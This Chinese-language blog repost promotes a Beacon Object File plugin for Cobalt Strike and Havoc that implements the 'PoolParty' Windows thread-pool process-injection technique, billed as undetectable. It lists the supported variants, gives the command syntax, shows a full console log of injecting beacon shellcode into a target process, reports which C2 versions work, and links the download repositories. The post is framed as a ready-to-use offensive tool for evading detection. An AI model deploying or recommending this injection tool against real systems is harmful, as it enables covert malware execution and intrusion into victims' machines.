无法被检测的进程注入BOF插件

admin 2023年12月15日08:55:18评论149 views字数 2155阅读7分11秒阅读模式

前言

国外安全研究员@Alon Leviev在Black Hat EU 2023大会上分享的一个滥用Windows线程池的完全无法检测的进程注入技术的集合,标题为:The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools,演讲PPT可在以下地址获取。

https://www.blackhat.com/eu-23/briefings/schedule/#the-pool-party-you-will-never-forget-new-process-injection-techniques-using-windows-thread-pools-35446

插件介绍

作者基于@SafeBreach@0xDeku的PoolParty进程注入技术(滥用Windows线程池)实现的BOF信标对象文件,可在havoc、cobaltstrike中使用。

目前该BOF仅支持5种技术/变体,后续作者将继续添加剩余的变体
将TP_IO工作项插入目标进程的线程池。将TP_ALPC工作项插入目标进程的线程池。将TP_JOB工作项插入目标进程的线程池。将TP_DIRECT工作项插入目标进程的线程池。将TP_TIMER工作项插入目标进程的线程池

插件用法

这里我只简单测试了CS4.5(失败)、4.9(成功)两个版本,其他版本自行测试,或者自己去调试下。
PoolPartyBof <Process ID> <Path To Shellcode> <Variant>
使用示例
PoolPartyBof 2136 /tmp/beacon_x64.bin 4[*] Opening 2136 and running PoolParty with /tmp/beacon_x64.bin shellcode![+] host called home, sent: 314020 bytes[+] received output:[INFO]   Shellcode Size: 307200 bytes[+] received output:[INFO]   Starting PoolParty attack against process id: 2136[+] received output:[INFO]   Retrieved handle to the target process: 0000000000000670[+] received output:[INFO]   Hijacked worker factory handle from the target process: 000000C96E0FF5B8[+] received output:[INFO]   Hijacked timer queue handle from the target process: 000000C96E0FF5B8[+] received output:[INFO]   Allocated shellcode memory in the target process: 00000290C91B0000[+] received output:[INFO]   Written shellcode to the target process[+] received output:[INFO]   Retrieved target worker factory basic information[+] received output:[INFO]   Created TP_TIMER structure associated with the shellcode[+] received output:[INFO]   Allocated TP_TIMER memory in the target process: 00000290C9200000 [+] received output:[INFO]   Written the specially crafted TP_TIMER structure to the target process[+] received output:[INFO]   Modified the target process's TP_POOL timer queue WindowsStart and Windows End to point to the specially crafted TP_TIMER[+] received output:[INFO]   Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration[+] received output:[INFO]   PoolParty attack completed.
无法被检测的进程注入BOF插件
无法被检测的进程注入BOF插件

BOF 可以进一步与Cobaltstrike 中提供的Process Injection Hooks一起使用,Rastamouse也有一个完美的博客。

加了Havoc BOF 支持。如果出现问题,欢迎您提出问题。对于sliver C2来说它可以部分工作,但是远程进程在执行shellcode时会崩溃。

下载地址

https://github.com/0xEr3bus/PoolPartyBof

https://github.com/SafeBreach-Labs/PoolParty


原文始发于微信公号(Hack分享吧):无法被检测的进程注入BOF插件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日08:55:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无法被检测的进程注入BOF插件http://cn-sec.com/archives/2302180.html

发表评论

匿名网友 填写信息